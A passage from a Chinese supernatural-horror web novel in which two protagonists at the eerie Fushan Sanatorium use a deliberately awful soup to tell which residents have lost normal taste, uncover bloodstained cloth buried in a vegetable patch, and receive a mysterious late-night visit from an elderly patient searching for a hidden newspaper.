冰柜旁边的地上, 随意扔着一个菜篮,里面是几颗蔫巴巴的青菜和几个发了芽的土豆。 肖靳言走过去, 伸手拉开冰柜门。 一股寒气夹杂着肉腥味扑面而来。 冰柜里竟然塞着几只冻得梆硬的整鸡,表面还覆着一层白霜。 “谁会做饭?” 肖靳言回头,目光扫过徐林致和宿珩。 徐林致下意识地摇了摇头, 他一个医生,平日里最多给自己煮个泡面,眼前这种阵仗,实在是超出了他的能力范围。 宿珩却没说话。 眼底露出一抹沉思后,他挤开徐林致,径自走进了油腻不堪的后厨。 他从墙上挂着的几件脏污围裙里,挑了件看起来相对干净些的灰色围裙,慢条斯理地在腰间系好。 那动作一丝不苟,不像要下厨,倒像准备进行一场精密的手术。 肖靳言挑了挑眉,看着宿珩这副一本正经的架势,唇角勾起一抹饶有兴致的笑。 怕打扰到宿珩发挥,他特意从后厨退了出来,路过徐林致时,伸手拍了拍他的肩膀,语气带着几分轻松。 “看来今晚有口福了。” 徐林致僵硬地扯了扯嘴角,有些复杂地看着宿珩清瘦却挺拔的背影,心里莫名升起一股不太好的预感。 只见宿珩面无表情地从冰柜里拎出两只冻鸡,又从菜篮里捡了那两个已经发芽的土豆。 接着,他把一只冻得像石块的鸡扔在案板上。 眼神专注,表情冷肃,仿佛面对的不是食材,而是解剖台上等待解剖的试验品。 下一秒—— “哐!哐!哐!” 宿珩手起刀落,动作干脆利落,没有丝毫犹豫。 那架势,与其说是在剁鸡,不如说是在进行某种充满破坏性的暴力拆解。 冰碴和细小的肉末四处飞溅,沉闷而响亮的砍剁声在空荡的食堂里回荡,格外响亮刺耳。 徐林致默默地看着,眼角不受控制地抽搐了几下。 他开始严重怀疑,自己要真吃了这顿,今晚是不是……就可以人生初体验到食物中毒的感觉了? 肖靳言“啧”了一声,双手抱臂,好整以暇地靠在后厨的门框上。 他看着宿珩那利落却毫无章法的刀功,强行给宿珩打圆场:“等着吃就行了。” 这话说的…… 说实话……恐怕连他自己都不信。 不一会儿,两只冻鸡被宿珩砍成了七零八落、大小不一的碎块,有的带着骨头,有的只有皮肉,形状十分随心所欲。 他看也没看,又拿起土豆,连皮都没刮,直接在案板上随便剁了几刀,切成了同样奇形怪状的土豆块。 接着把鸡块和土豆块一股脑儿,全扔进了旁边一口积着油垢的半旧铁锅里。 等到锅里的水开后,宿珩从调料架上拿起盐罐,往锅里随意撒了一小撮。 然后像是想起了什么,皱了皱眉,又抓起一把,毫不犹豫地撒了进去。 那分量,看得肖靳言的嘴角都跟着微微抽搐了一下。 这小子,是打算腌咸菜吗? 还是准备齁死谁? 就在这时,刘晓花忽然从食堂门口探进来一个脑袋。 她一眼看到偷懒的肖靳言,正要发作,语气尖刻地骂道:“你们两个不去打扫病房卫生,跑这儿来偷什么懒——” 话说到一半,她的视线扫到了站在一旁的徐林致,气焰顿时消了大半,脸上勉强挤出点僵硬的笑意。 “徐医生,您怎么在这儿?” 徐林致生无可恋地指了指灶台的方向,“准备……吃晚饭。” 刘晓花顺着他的目光看过去,正好看见宿珩拿着个大铁勺,在锅里搅弄着一堆颜色可疑,形状各异的不明物体。 她这才猛地想起来一件事。 “瞧我这记性!食堂王阿姨前两天告假回家了,我还正愁晚上没人做饭呢!” 她立刻对着宿珩颐指气使道:“那你多做点,够大家晚上一起吃。” 说完,又转向肖靳言,“你去楼上喊他们下来吃饭。” 肖靳言没多说什么,只意味深长地瞥了一眼锅里那坨东西,转身朝楼梯走去。 他直接略过了201病房,先敲了敲202的房门。 很快,杨桂芬乐呵呵地打开了门。 一听是开饭了,她连忙招呼着胡旺祖,“旺祖,吃饭了!” 老两口互相搀扶着,颤巍巍地朝楼下食堂走去,嘴里还念叨着“今天伙食不知道怎么样”。 肖靳言接着来到203门口。 他敲了半天,里面毫无动静。 他试着推了推门,门没锁,“吱呀”一声就开了,一股浓重的尘土味扑面而来。 房间里空无一人,而且陈设十分古怪。 靠墙的单人病床上光秃秃的,没有被褥,床板上积着厚厚一层灰,一看就知道很久没人碰过了。 反倒是床底下,隐约能看到一团脏兮兮,看不出原色的被子,揉成一团塞在角落,还散落着一些干硬的馒头屑。 像是有人长期蜷缩在那里睡觉。 肖靳言皱了皱眉,退了出来。 他在二楼和三楼来回找了一圈,包括那个死了院长的办公室,都没发现第四个病人“老根儿”的踪影。 最后,他走到二楼走廊尽头的窗户边,不经意地朝院子里望了一眼。 院子角落那片蔫头耷脑的菜地里,一个蓬头垢面、衣衫褴褛的男人,正背对着疗养院的楼栋,蹲在地上。 他双手并用,像是在刨着什么东西,泥土翻飞,动作急切又鬼祟。 男人似乎察觉到了楼上的目光,猛地抬起头,警惕地朝肖靳言这边看来。 两人的视线在空中短暂交汇。 那男人浑身一震,像是受惊的兔子,脸上露出了极度的惊慌失措。 他手忙脚乱地将刚才刨开的那个小坑又重新用土埋了起来,还紧张地用脚使劲踩了几下,试图抹平所有痕迹。 随即才慌不择路地,一头钻回了疗养院内。 …… 那锅成分不明的“鸡肉土豆汤”很快就咕嘟咕嘟冒起了热气。 那根本算不上汤,颜色灰扑扑的,散发着一股呛鼻的怪味,活像一锅烂糊。 汤面上还漂着几片蔫黄的菜叶,估计是宿珩突然想起来,随手从旁边的菜篮里揪下来的。 过了会儿,宿珩面不改色地关掉火。 他从满是油污的碗柜里,贴心地翻找出几副碗筷,走到水池边,拧开冰冷的水龙头。 夹杂着黄锈的水,瞬间冲了下来。 宿珩往后退了半步,等到水流变得清澈后,才抓起旁边一块硬邦邦的抹布,沾了水,在碗筷的陈年油垢上用力擦洗,刺啦刺啦的声响在安静的后厨格外清晰。 他仔仔细细冲洗着每一只碗、每一根筷子,直到指尖触碰碗壁,再也感觉不到丝毫油腻,这才罢手。 徐林致在一旁看着,胃里一阵阵翻腾,喉结不受控制地滚动。 他几次张嘴,想说点什么,比如“要不今晚这饭我就……先不吃了”…… 可话到嘴边,对上宿珩那副理所当然的冷淡神情,又硬生生咽了回去。 他迟疑片刻,还是认了命,上前帮忙把洗干净的碗筷一一摆在油腻的桌上。 每放下一只碗。 空气中那股由“肉汤”带来的,混合了铁锈、霉味和某种难以名状之物的气味,就愈发浓郁,直往他鼻子里钻。 宿珩端着那口半旧的铁锅走了过来。 锅底的余温透过薄薄的布料传到他手上。 他拿起大铁勺,“哐当”一声,给每只空碗都盛了满满一大勺。 那汤汁瞧着就浓稠,里面的鸡块和土豆块形状各异,颜色也深浅不一,费些眼力才能勉强辨认出原本是什么食材。 徐林致盯着自己面前的那坨东西,默默地把头转向一边,打定主意今晚只喝开水。 不多时,杨桂芬搀扶着胡旺祖,颤巍巍地从楼梯口挪了过来。 老太太一进食堂,就用力吸了吸鼻子,脸上堆满笑容。 “哎哟,真香啊!今天这伙食闻着就不错,手艺真好!” 胡旺祖依旧是那副呆傻的模样,任由杨桂芬牵着,口水顺着嘴角淌下,直勾勾地盯着桌面。 刘晓花也闻声赶来,她显然饿坏了,一屁股在桌边坐下,眼睛死死盯着桌上那几碗“肉汤”,迫不及待地抄起了筷子。 “饿死我了,干了一下午活,正好补补。” 就在这时,食堂门口人影一晃,一个蓬头垢面的男人跌跌撞撞地冲了进来。 他饿得两眼放光,也顾不上其他,甚至没看清屋里都有谁,抓起离他最近的一碗汤,咕咚咕咚就灌了一大口。 “噗——咳咳咳!呸!呸呸呸!” 汤刚下肚不到两秒,男人的五官便痛苦地拧巴到一块儿,喉咙里发出剧烈的呛咳声。 他猛地将口中的汤水尽数喷了出来,溅得满地都是,空气中那股诡异的味道霎时又浓了几分。 男人咳得撕心裂肺,脸涨得通红发紫,眼泪鼻涕糊了一脸,一手死死捂着喉咙,另一只手紧紧扒着桌沿,浑身都在发抖。 旁边的刘晓花嫌恶地皱起眉头,往旁边挪了挪,还用手在面前扇了扇。 “脏死了!发什么神经!” 骂完后,她不再理会老根儿,自顾自地用筷子夹起一块鸡肉,没有炖烂的骨头在她嘴里被嚼得嘎嘣作响,活像一条野狗在啃着骨头。 “唔……这鸡肉炖得挺烂糊,咸淡也正好。” 刘晓花一边吃,嘴里还一边含混不清地嘟囔着,她吃得满嘴是油,仿佛那是世界上难寻的美味。 杨桂芬也拿起勺子,先小心地吹了吹热气,等不烫了才给胡旺祖喂了一口,笑眯眯地说: “多好的汤啊,香得很!” “旺祖,多吃点,补身体……吐了多可惜。” 胡旺祖呼噜呼噜喝着汤,可能是因为老年痴呆的缘故,至少有一大半被他吐了出来,淌在口水巾上。 杨桂芬却毫不在意。 她自己也尝了一口,不住地点头,“嗯,味道好,有荤有素,营养搭配,比食堂以前的饭菜做的好吃多了!” 徐林致看着这诡异的一幕,只觉得手脚冰凉,胃里抽搐得更厉害了。 他悄悄把自己那碗往旁边推远了些。 旁边好不容易缓过来的老根儿,惊恐地看着桌上那几个吃得正香的人。 他又低头看看自己碗里那颜色古怪,散发着难闻气味的汤水,嘴唇哆嗦着,喉咙里发出嗬嗬的怪声,却一个字也说不出来。 终于忍不住了,他猛地撂下碗,那碗在桌上滴溜溜转了半圈,险些掉到地上。 老根儿像是意识到了什么,再也不想待在这里,几乎是连滚带爬地冲出了食堂。 因为跑得太急,还差点和刚从外面回来的肖靳言撞了个正着。 肖靳言动作敏捷,迅速侧身避开。 他看着老根儿落荒而逃的背影,黑沉的眸子掠过一抹异样。 等肖靳言走进食堂。 他的目光扫过桌边正给胡旺祖喂汤的杨桂芬。 又掠过另一边几乎快要见底的汤碗,以及抱着汤碗,吃得一脸满足的刘晓花。 最后落在不远处的地上,那里残留着一摊狼藉的呕吐物。 而宿珩正沉默地站在一旁,脸上露出深思的神情。 肖靳言的目光在宿珩脸上短暂停留,刹那间,便明白了他的用意。 这锅汤并不是做给他们三个人喝的。 或许是他临时起意,又或许是王秀珍的“心门”给了他启发。 宿珩居然想到用这种最朴素,也最直接,甚至可以说是最恶趣味的方式。 来甄别—— 哪些人已经被“心门”的力量同化。 哪些人还保留着正常人的味觉和感知。 简单粗暴,但有效。 事实证明,他成功了。 看着那三个仿佛失去味觉,对这堪比毒药的“肉汤”甘之如饴的人。 再想想刚才那个落荒而逃的老根儿。 答案已经不言而喻。 肖靳言没多言语,只朝宿珩那边递了个眼神。 宿珩不动声色地回看了他一眼。 肖靳言唇边勾起抹了然的弧度,随即便转身,大步流星地离开了食堂,径直走出了疗养院的大门。 院子里依旧是那片灰蒙蒙的压抑天光,空气里带着一股陈腐的气息。 趁着所有人被那锅汤留在了食堂,肖靳言走到先前老根儿刨土的那片菜地旁。 地上那块被重新盖上的地方,痕迹还很清楚。 新翻的泥土颜色比周围要深一些,踩踏的脚印也很明显,甚至能看出刨挖的范围。 肖靳言蹲下身,垂眸审视着那块小小的区域。 随即,他手一探,从那条松垮的蓝色护工长裤小腿侧边极为隐蔽的夹层里,抽出了一柄通体漆黑的短刀。 刀身狭长,约莫两指宽,刃口在灰蒙天光下闪着幽冷的寒光。 肖靳言握紧刀柄,手腕一沉,毫不犹豫地对准那处新土的中心,用力刺了下去。 “噗——” 泥土松软,刀尖几乎没遇到什么阻碍,便没入大半。 他手腕微动,用巧劲轻轻往上一撬。 “噗嗤。” 一声细微的,利刃划破某种厚实又有些腐朽织物的声音响起。 不同于单纯刺入泥土的闷响,带着令人不适的阻滞感。 肖靳言眼神微沉,将刀尖缓缓挑起。 一小块沾着暗红色血迹和湿润泥土的布料,被锋利的刀尖带了出来。 那是一截衣袖的残片,布料已经腐朽得不成样子,甚至能看到一些细小的虫蛀痕迹。 肖靳言不禁蹙眉。 这片菜地下面……到底有什么? 第49章 第 49 章 福山疗养院5 肖靳言将那块布料重新塞回土里, 用脚尖拨了些浮土掩盖住,尽量将这地方恢复原样。 他站起身,拍了拍手上的泥, 若无其事地转身回了疗养院。 回到食堂时,桌上的汤碗果然已经见了底。 刘晓花正拿着一只满是油花的汤碗,用舌头仔细地舔着碗底残留的汤汁, 发出啧啧的声响。 她舔干净最后一滴,满足地打了个饱嗝,这才恋恋不舍地放下碗, 擦了擦满是油光的嘴。 “味道还行, 明天继续做。” 她瞥了宿珩一眼, 口气还是那副命令腔调,但似乎多了那么点被满足了口腹之欲后的微妙变化。 说完, 她站起身,伸了个懒腰,又打了个哈欠。 “行了,吃饱了。” “记住, 晚上七点以后, 所有病人都要休息, 你俩也别在外面瞎晃悠, 以免吵到他们。” 刘晓花丢下这句话,又看向徐林致, 干巴巴笑了声: “不好意思啊徐医生,因为我实在太饿了, 没顾得上给你留一碗……” 这话让徐林致胃里又是一阵翻江倒海,他摆了摆手,“没关系, 我不饿……你去休息吧。” 刘晓花这才有些不自然地走了。 又过了几分钟,杨桂芬小心翼翼地用手帕擦干净胡旺祖的嘴角,又给他理了理口水巾,然后才慢悠悠地扶着他站起来。 嘴里还轻声哄着:“旺祖,吃饱了,咱们也该回房歇着去了。” 胡旺祖含混地“呜”了声。 杨桂芬转头,冲宿珩和肖靳言笑了笑,“今天这饭,吃得舒坦,谢谢你们了啊……” 那笑容依旧和善,只是在灰蒙的光线下,她还沾着一点肉碎和油汤的嘴角,显得有些说不出的怪异。 老两口互相搀扶着,一步一挪,缓慢离开了食堂。 偌大的食堂里,只剩下宿珩和肖靳言,以及脸色苍白,强忍着反胃的徐林致。 肖靳言拉开一张椅子坐下,修长的双腿交叠,眉梢高挑,目光落在宿珩身上。 “行啊……宿大厨,这招釜底抽薪,用得可以。” 宿珩没什么表情地解下腰间的灰色围裙,随手扔在满是油污的灶台上。 他淡淡道:“只是突然想到了,顺便验证一下。” “结果很明显……”肖靳言摸了摸下巴,“倒是那个老根儿……反应还算正常人。” “嗯。” 宿珩说着,从口袋里掏出手机看了一眼屏幕,冷白的光映着他的脸,皮肤白得几乎透明。 “六点五十了……” 肖靳言闻言起身:“走,回房睡觉。” 三人一同离开食堂。 徐林致一路上都紧绷着神经。 快到护工房时,他像是下定了什么决心,趁着还有几分钟,对着两人飞快地说道:“我去三楼拿个东西就下来!” 说完,也不等两人回应,便一阵风似的冲上了楼梯。 没过两分钟,他抱着从值班室拿来的一张折叠行军床,气喘吁吁地跑回一楼。 此时的宿珩和肖靳言已经进了护工房。 徐林致看了一眼护工房紧闭的门,又看了看旁边那间黑漆漆的小杂物间,一咬牙,抱着床转身就钻了进去。 “砰”的一声,杂物间的门被从里面紧紧关上,还传来了锁舌扣上的声音。 一墙之隔的护工房内。 空气中漂浮着的,依旧是那股熟悉的霉味。 肖靳言走到那张堆满杂物的铁架床边,将上面的东西胡乱拨到一边,然后大咧咧地坐了下来。 床板发出一阵不堪重负的“嘎吱”声,听着像随时都会散架。 他看着宿珩,压低了声音:“那个老根儿,他知道的东西,可能比我们想的要多。” 宿珩抬起头,等着他的下文。 “其他人都在食堂时,他却跑到菜地里……刨土。” 肖靳言回忆着当时的场景,神情认真了几分。 “我等他走了之后过去看了看,从土里撬出来一小块布料,像是一截衣袖,上面还沾着血。” 宿珩不禁拧起眉,“血迹是新鲜的吗?” “不像。”肖靳言摇头,“布料很腐朽,血迹也发黑了,像是埋了有些年头的东西。” 宿珩沉默片刻,开口道:“想知道下面是什么,挖开看看就清楚了。” “我也是这么想的。” 肖靳言摸了摸下巴,脸上忽然露出一抹意味深长的笑容。 “而且,我想到一个好主意,顺利的话,明天一早就能看到下面埋了什么……” 他故意拖长了尾音。 宿珩看着他嘴角那抹熟悉的,带着点痞气的笑,少有地捧了个场:“我等着你的好主意。” 肖靳言挑了挑眉,正要细说自己的想法。 就在这时—— “啪!” 头顶那盏昏黄的白炽灯,毫无征兆地,突然熄灭了! 整个房间刹那间,被一股浓黑吞噬,伸手不见五指,连对方的轮廓都看不清。 疗养院里所有的光源,似乎在同一时间全部失效。 就连窗外那片持续了一整天的灰蒙天光,也像被一只无形的手彻底抹去,变成了纯粹的、令人心悸的漆黑。 这种情况,宿珩从未遇到过,至少在前面三扇心门中,外界永远是灰蒙蒙的状态。 肖靳言刚想解释,在某些复杂“心门”中,偶尔会发生类似的事。 偏在这时,一阵极轻的,窸窸窣窣的声音,从门外死寂的走廊传来。 那声音很细微,像是有人穿着软底鞋,踩在积满灰尘的水泥地上。 一步一步。 缓慢,又带着某种令人不安的节奏,悄然靠近。 沙……沙……沙…… 每一下摩擦声,都像直接刮在人的耳膜上,在极致的安静中被无限放大。 脚步声越来越近。 最后,清晰地停在了护工房的门外。 一门之隔。 黑暗中,肖靳言的呼吸依旧平稳悠长,听不出丝毫慌乱。 宿珩打开了手机手电筒。 在微弱的光束中,他看见肖靳言无声地向他比了个“嘘”的手势。 随即,肖靳言手往裤腿的位置一探。 那柄通体漆黑的短刀便如同变戏法一般,悄无声息地滑入掌心。 刀身仿佛能吸走周围所有的光,即使在这样的黑暗里,也透着一股森然的冷。 肖靳言屏住呼吸,慢慢从床上站起身,动作轻盈地像一只敏捷的猎豹,没有发出一丝声响,悄无声息地挪到了门边。 门外的脚步声却突然消失了。 取而代之的是一片令人窒息的寂静。 就像有什么东西,正隔着门,在静静地看着他们。 肖靳言握紧短刀,另一只手悄然抓住门把。 没有丝毫犹豫,“砰”的一声,他用力将门拉开! 门轴发出刺耳的摩擦声,在寂静中格外响亮。 门外,是同样深不见底的黑暗。 空荡荡的走廊,却……什么都没有。 那阵诡异的脚步声,就像从未出现过一般,消失得无影无踪,连一丝气流的扰动都未曾留下。 仿佛刚才的一切,都只是他们的错觉。 又或者,是某种东西刻意的试探。 …… 肖靳言压低了声音,对宿珩说:“我出去看看,你待在这儿别动,锁好门。” 宿珩点了下头,看着肖靳言高大的身影,迅速融入门口那片浓得化不开的黑暗。 仿佛一滴水汇入深潭,没有激起半点涟漪。 房门被轻轻带上,发出一声细微的“咔哒”声。 宿珩坐在冰冷的铁架床边沿。 房间里唯一的光源是他手机屏幕上微弱的冷光,勉强驱散了身周几尺范围内的浓黑。 他对肖靳言的武力值向来放心,这时候倒也没有多少紧张,只是静静地等待着。 四周是死一般的寂静,连空气都仿佛凝固了。 那股熟悉的霉味混合着铁锈的气息,在黑暗中似乎被放大了数倍,丝丝缕缕地钻入鼻腔。 宿珩能清晰感觉到—— 这铺天盖地的浓郁夜色,不仅仅是因为缺乏光线,更像是一种沉重的、无形的压迫,将整个疗养院都笼罩其中。 甚至就连空气也被其中无处不在的负面情绪……完全挤占。 它们在黑暗里显得更加活跃和躁动,比白天时,要更浓郁,像无数细小的触手,试图钻进每一个缝隙。 宿珩皱着眉,轻轻按了按心脏的位置,试图缓解那股不适的感觉。 没过多久。 “笃笃笃。” 门外忽然响起了突兀的拍门声。 但那声音,并非来自他们所在的护工房,而是隔壁,徐林致栖身的那个小杂物间。 声音不大,却透过门板传了进来,在这样极致的安静里显得格外清晰。 一下,又一下,带着某种执拗的节奏。 宿珩眉心微动,隔着一堵不算厚实的墙壁,他清晰地听见隔壁传来一阵细碎的响动。 先是床板挪动的“吱呀”声,然后是金属物体倒地的清脆撞击,伴随着一声压抑的惊呼。 “哐当……哗啦……” 像是有人在慌乱中碰倒了什么东西,杂物落地的声音,在寂静中格外刺耳。 徐林致那边,显然是被这突如其来的敲门声吓得不轻,弄出了不小的动静。 宿珩甚至能想象出他在黑暗中手忙脚乱的样子。 拍门声在杂物间门口持续了一小会儿。 见里面迟迟没有反应,那声音停顿了片刻,仿佛在耐心等待,又像是在思索着要不要破门而入。 但随即—— “笃笃,笃笃笃。” 那不紧不慢的拍门声,竟然转移到了宿珩所在的护工房门上。 力道和节奏,与之前敲击杂物间门时一模一样。 一下,两下,三下。 每一次敲击,都沉重执拗,像直接敲在人的心上。 宿珩本想不予理会,任由门外的东西自讨没趣。 可就在这时,拍门声中,夹杂进了一丝含混不清的,像是人说话的声音。 那声音很低,断断续续,在黑暗中听不真切具体内容,像是在喃喃自语,又像是在呼唤什么。 宿珩眸色微凝。 这声音听起来有些熟悉,但又不太确定。 他从铁架床上站起身,动作间没有发出丝毫声响。 手机的光束在房间里晃了晃,他走到床尾,伸手在锈迹斑斑的铁架床栏杆上用力一拧。 只听“咯吱”一声轻响,一根约莫半米长,拇指粗细的钢管,竟被他硬生生从床架上拆卸了下来。 钢管入手冰凉沉重,带着铁锈的粗糙感。 这是他临时能找到的,最趁手的武器。 宿珩拎着钢管,几步走到门前,左手握住门把,右手反握钢管,没有半分迟疑,猛地将门拉开! 门外依旧是浓得化不开的黑暗。 他将手机手电筒的光束投向门外。 光柱所及之处,一个干瘦佝偻的身影,正静静地站在那里。 他一只手还保持着叩门的姿势,僵在半空。 宿珩瞳孔微缩,不着痕迹地后撤半步。 他没想到,门外敲门的……居然是胡旺祖? 胡旺祖依旧穿着那身洗得发白的旧衣服,脖子上围着颜色暗沉的口水巾。 但此时,他脸上那种近乎痴傻的呆滞表情,却明显减少了许多,不再是之前那副对外界毫无反应的模样。 浑浊的眼珠费力地转动着,从中透出几分焦灼和困惑,以及一种努力回忆却怎么也想不起来的茫然。 胡旺祖看着宿珩,嘴唇翕动了几下,含糊不清地问道:“你……你看到……我的报纸了吗?” 他的声音沙哑,像是很久没有说过话,带着老年人特有的迟缓。 宿珩握着钢管的手指紧了紧,目光平静地看着他,试探着问:“什么报纸?” “就是……就是那张……” 胡旺祖眉头紧锁,似乎在努力回忆,但脑子依旧不大灵光,记忆像是破碎的瓷片难以拼凑完全。 “我藏起来的……报纸……现在……找不到了……” 他说话颠三倒四,一个劲儿地重复着“报纸”和“找不到了”,语气里透着一股难以言喻的急切。 宿珩又问:“你把报纸藏在哪儿了?” 胡旺祖张了张嘴,眼神更加迷茫,布满皱纹的脸上露出努力思索的神情,支支吾吾了半天,却一个字也说不上来。 他只是焦急地用手比划着,一会儿指指楼上,一会儿又指指楼下,似乎想表达什么,却又表达不清。 他的身体甚至因为焦急而微微颤抖。 就在这时。 一道幽幽的沙哑声音,从胡旺祖身后的黑暗中,毫无征兆地响了起来。 “旺祖啊……” 那声音飘忽不定,带着一丝阴冷的寒意,像是从很远的地方传来,又像是近在耳边。 “这么晚了不睡觉,到这儿来……干什么啊?” 黑暗中的走廊里,响起的是,杨桂芬的声音。 宿珩清晰地看到—— 在杨桂芬声音响起的瞬间,胡旺祖干瘦的身体猛地瑟缩了一下,像是被针扎了一般,原本努力回忆的表情,倏然间凝固。 他脸上的焦灼和困惑瞬间被一种近乎本能的恐惧取代。 原本还想说什么的话,也立刻咽了回去,紧紧闭上了嘴,低下头,不敢再发出任何声音。 胡旺祖不敢再看宿珩,甚至连之前那种焦急寻找报纸的神态都消失得一干二净。 他慌乱地转过身,佝偻着背,跌跌撞撞地走进了那片深不见底的漆黑走廊,很快便消失不见。 只留下轻微的,拖沓的脚步声渐行渐远。 宿珩注视着胡旺祖消失的方向,又扫了一眼那片空荡荡的黑暗,杨桂芬并未现身。 他随即关上了房门,落了锁。 回到床边坐下后,宿珩脑中一直回想着胡旺祖刚才的话。 那张报纸。 胡旺祖特意藏起来的报纸。 现在却找不到了。 一个健忘症和疑似老年痴呆的人,却对一张报纸如此执着,甚至在深夜独自出来寻找,这本身就很不寻常。 这其中,一定有什么重要的线索。 房间里再次陷入一片死寂。 过了大约十几分钟,久得让人以为黑夜会一直这样持续下去。 “笃笃。” 房门再次被敲响,这次的声音沉稳有力,不带丝毫先前的诡谲。 紧接着,肖靳言低沉而熟悉的声音从门外传来:“开门,是我。” 宿珩起身开门。 肖靳言高大的身影站在门口,身上裹挟着一股深夜特有的微凉气息。 借着手机的光亮,宿珩看到他眉宇深锁,神色比离开时沉了几分。 “找到那东西了吗?” 宿珩问,顺手将钢管放在门边不显眼的地方。 肖靳言摇了摇头,走进房间,森*晚*整*理反手关上门。 “没有。” 他声音压得很低,“我一路追上了三楼,每个房间都看过了,但什么都没发现。” 顿了顿,他又补充道:“不过,我回来的时候,在二楼楼梯口,意外撞见了杨桂芬扶着胡旺祖,正往202走。” “这么晚了,他们俩在外面能干什么?” 宿珩听完,眼神微动,似乎想说什么,但话到嘴边又咽了回去。 他沉默了几秒,才淡淡开口—— “巧了,他们刚从我这儿离开。” 肖靳言:“?” 第50章 第 50 章 福山疗养院6 宿珩简略地将胡旺祖深夜敲门, 以及杨桂芬随后出现将人带走的事情说了一遍。 重点是那份,被藏起来的报纸。 肖靳言听完,摸了摸下巴, 声音里带着几分思索。 “看来这对老夫妻,不像表面上那么简单。” “一个健忘痴呆,一个乐嗬嗬的老好人……现在看来, 都有问题。” 宿珩:“真正的秘密,可能就藏在那张失踪的报纸上,或者说, 藏在胡旺祖那些时而清醒, 时而糊涂的记忆里。” 肖靳言的目光透过手机屏幕散发的微弱冷光, 落在宿珩那张过分白皙的脸上。 那双总是带着几分疏离的眸子,微微垂着, 像在沉思。 “今晚大概率是不会再有什么动静了。” 肖靳言的声音放低了些,“早点休息吧,有事明天再说。” 宿珩“嗯”了一声,并没有立刻躺下, 而是坐在床沿, 若有所思。 肖靳言也没再多说什么, 他走到另一边的铁架床边, 和衣躺下。 床板又发出一阵“嘎吱”的呻/吟。 黑暗中,宿珩能感觉到肖靳言平稳的呼吸, 以及他身上散发出的,那种令人安心的强大气息。 这让他稍显紧绷的神经, 稍稍放松了些许。 不知过了多久,宿珩才缓缓躺下,闭上了眼睛。 这一夜, 似乎格外漫长。 再次睁开眼时,天光已经透过窗户的缝隙照了进来。 依旧是那种灰蒙蒙的,压抑的色调,仿佛一块巨大的灰色幕布。 宿珩从冰冷的铁架床上坐起身,旁边的床铺已经空了,肖靳言不知何时已经离开。 一件宽大的冲锋衣从他身上滑落。 鼻息间还残留着肖靳言身上淡淡的烟草气息。 混杂着铁锈和霉味,构成了这间护工房特有的味道。 宿珩默了瞬,将冲锋衣叠好,简单整理了一下自己,拉开房门走了出去。 正巧,隔壁那间小杂物间的门也“吱呀”一声被拉开。 徐林致顶着一双浓重的黑眼圈,面色憔悴地从里面探出头来。 他显然一夜没睡好,眼神里还带着惊魂未定的余悸。 看到宿珩,他像是找到了主心骨,连忙压低声音问道:“你昨晚……有没有听到敲门声?” 宿珩微微颔首,语气平静:“听到了。” 他没有多做解释,径直朝门口走去。 疗养院的大门敞开着,门外传来一阵“吭哧吭哧”的,富有节奏的挖地声。 间或夹杂着杨桂芬略显兴奋的夸赞声。 “哎哟!小伙子这身体可真结实!力气也大得很呐!” “我那儿子就不爱锻炼,身子骨轻飘飘的,回头等他今天过来,我一定让他好好加强锻炼!” “这地啊,就该这么翻翻,不然那些菜都长不好!” 宿珩走出疗养院大楼。 院子里,那片原本蔫头耷脑的菜地旁。 肖靳言正赤着紧实匀称的上半身,偏古铜色的肌肤在灰蒙蒙天光映照下,泛着一层健康而充满力量感的光泽。 汗水顺着他背部流畅而贲张的肌肉线条肆意滑落,划过紧实的腰腹,最终没入那条松垮的蓝色护工长裤边缘。 他手里握着一把不知从哪里找来的旧锄头,正一下一下,用力地刨着地。 泥土翻飞。 杨桂芬站在不远处的健身器械旁,乐呵呵地看着,时不时帮着轮椅上的胡旺祖做一些简单的伸展动作。 胡旺祖依旧是那副呆滞的模样,任由她摆布。 宿珩的视线,不由自主地落在肖靳言那宽阔的脊背和线条分明的手臂肌肉上。 它们随着每一次用力的动作而流畅地起伏贲张,充满了原始而野性的力量感。 宿珩微微怔愣了一瞬。 没想到这家伙脱了衣服……身材这么好? 肖靳言似乎察觉到了他的视线,停下手中的动作,转过头来。 当看到宿珩清瘦的身影静静伫立在疗养院门口时—— 那双深邃的黑眸中,迅速掠过一抹炫耀似的笑意,并无声地挑了挑眉。 活像个正要开屏的孔雀。 宿珩立刻挪开了视线,仿佛刚才的失神从未发生过。 他将注意力重新投向肖靳言脚下的那片菜地。 那里早已堆起了一小片新翻的泥土,那些原本蔫巴巴的蔬菜被连根拔起,随意地扔在一旁。 而在那堆被刨掉的菜叶下面,隐约能看到几条颜色暗沉、破烂不堪的布料,被压在最底下。 徐林致也跟了出来。 看到这副景象,他小声地凑到宿珩身边,不解地问:“他平白无故挖这菜地干什么?” 话音刚落,一道阴沉冰冷的视线便如同毒蛇般射来。 刘晓花不知何时出现在了他们身后。 她目光不善地扫了一眼刚起床的宿珩,显然对他一大早无所事事的状态很不满。 宿珩却仿佛丝毫没有察觉到刘晓花那能杀死人的目光,依旧面不改色。 他声音不大不小,刚好能让刘晓花听到。 “他说这里的菜长得不好,想重新翻整一下,看看能不能种点别的,改善一下大家的伙食。” 徐林致听得半信半疑,张了张嘴还想说什么。 刘晓花听到这话,脸上的不善倒是收敛了几分,甚至露出了一丝微不可察的满意。 她重重地冷哼了一声,那声音像是从鼻子里挤出来一般。 随即,像变脸一样,换成一副商量的语气,放轻语调对徐林致道:“徐医生,该去给201的宋明丽换药检查了。” 徐林致脸色一白,显然对照顾宋明丽那件事心有余悸。 但他又不敢不去,只能硬着头皮,不情不愿地跟着刘晓花朝二楼走去。 等他们走远,肖靳言已经刨完了那一小块区域。 他随手扔掉锄头,捡起搭在一旁的蓝色护工上衣,胡乱擦了擦身上的汗。 他走到宿珩面前,摇了摇头,语气恢复了平时的沉稳,却带着一丝不易察觉的凝重: “只找到几块衣服碎片,更深的地方似乎没有其他东西了。” 宿珩点了点头,表示知道了。 趁肖靳言去找地方擦洗时,他转身走进一楼的食堂,从后厨里拿出那个积了灰的旧菜篮,然后重新回到院子里。 他走到那堆被刨出来的烂菜叶旁,弯下腰,状似在挑选一些还能勉强食用的菜叶。 实际上却迅速将那几片沾着泥土的破烂布料捡起来,塞进了菜篮底部,然后用一些相对完整的菜叶盖在上面。 做完这一切,他拎着菜篮,若无其事地走回了食堂。 刚将菜篮放在冰柜旁边,宿珩眼角的余光,敏锐地捕捉到一个鬼鬼祟祟的身影从厨房门口一闪而过。 是老根儿…… 宿珩眼神微动,立刻放下菜篮,快步跟了出去。 只见老根儿正惊慌失措地往二楼跑去,动作因为紧张而显得有些笨拙。 宿珩不动声色地跟在他身后。 老根儿一口气跑到203病房门口,慌忙推开门就想躲进去。 